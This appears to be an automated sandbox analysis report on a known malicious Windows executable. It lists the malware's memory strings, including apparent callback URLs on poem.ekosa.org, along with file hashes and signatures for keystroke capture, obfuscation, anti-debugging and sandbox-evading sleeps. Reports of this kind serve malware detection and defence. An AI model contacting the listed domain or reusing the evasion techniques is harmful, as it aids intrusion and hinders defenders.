Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uX
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6ud
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uer
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn6786
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678H;c
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678k
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678l;
Source: WVbU1Gf5p8.exe, 00000000.00000003.923239328.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678~;
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6ul
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6um
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uon
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uq
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6ur
Source: WVbU1Gf5p8.exe, 00000000.00000003.915864738.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6urm
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uv
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Creates a DirectInput object (often for capturing keystrokes)

Source: WVbU1Gf5p8.exe, 00000000.00000002.1002648212.000000000166A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

Submitted sample is a known malware sample

Source: WVbU1Gf5p8.exe

Detected potential crypto function

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_01231780	0_2_01231780
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_01231EB0	0_2_01231EB0
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_0123B40E	0_2_0123B40E
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_0123AF60	0_2_0123AF60
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_0123FA1C	0_2_0123FA1C
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_012346F7	0_2_012346F7

Sample file is different than original file name gathered from version info

Source: WVbU1Gf5p8.exe, 00000000.00000002.1002630413.0000000001640000.00000002.00000001.sdmp

Binary or memory string: OriginalFilenamemswsock.dll.muij% vs WVbU1Gf5p8.exe

Uses 32bit PE files

Source: WVbU1Gf5p8.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: classification engine

Classification label: mal60.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

File created: C:\Users\user\AppData\Local\Temp\TMP9518.tmp

Jump to behavior

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Command line argument: TMP	0_2_01232240
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Command line argument: TMP	0_2_01232240
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Command line argument: .bat	0_2_01232240
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Command line argument: CPE:%08x	0_2_01232240
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Command line argument: DFE:%08x	0_2_01232240

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: WVbU1Gf5p8.exe	Virustotal: Detection: 71%
Source: WVbU1Gf5p8.exe	ReversingLabs: Detection: 66%

Source: WVbU1Gf5p8.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Data Obfuscation:

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

0_2_01231EB0

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_012445B5 push esi; ret		0_2_012445BE
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_01232E86 push ecx; ret		0_2_01232E99

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Malware Analysis System Evasion:

Contains long sleeps (>= 3 min)

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Thread delayed: delay time: 180000

Jump to behavior

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe TID: 3296	Thread sleep count: 78 > 30			Jump to behavior
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe TID: 3296	Thread sleep time: -14040000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_012385AB FindFirstFileExA,

0_2_012385AB

Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp

Binary or memory string: Hyper-V RAW

Anti Debugging:

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_01232C32 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_01232C32

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

0_2_01231EB0

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_01235C5E mov eax, dword ptr fs:[00000030h]

0_2_01235C5E

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_0123A191 GetProcessHeap,

0_2_0123A191

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_01232D83 SetUnhandledExceptionFilter,	0_2_01232D83
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_01232C32 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_01232C32
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_01236B11 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_01236B11
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_01232796 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_01232796

Source: WVbU1Gf5p8.exe, 00000000.00000002.1002760838.0000000001EC0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: WVbU1Gf5p8.exe, 00000000.00000002.1002760838.0000000001EC0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: WVbU1Gf5p8.exe, 00000000.00000002.1002760838.0000000001EC0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: WVbU1Gf5p8.exe, 00000000.00000002.1002760838.0000000001EC0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

Contains functionality to query CPU information (cpuid)

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_01232E9B cpuid

0_2_01232E9B

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_01232B24 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_01232B24

ID:	338142
Product:	CloudBasic
Start time:	17:54:08
Start date:	11.01.2021
Sample:	WVbU1Gf5p8
Cookbook:	default.jbs
System description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Architecture:	WINDOWS
MD5:	69f7cde70cc22aceb5dd32ff1dc3f685
SHA1:	f87ee3079aaa5230e107ff9684e7cdea2162caf6
SHA256:	625f63364312cec78a4c91abedba868d551d79185ff73e388f561017b13347f0
Filetype:	Win32 Executable (generic) a (10002005/4) 99.39%

Analysis Report WVbU1Gf5p8

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs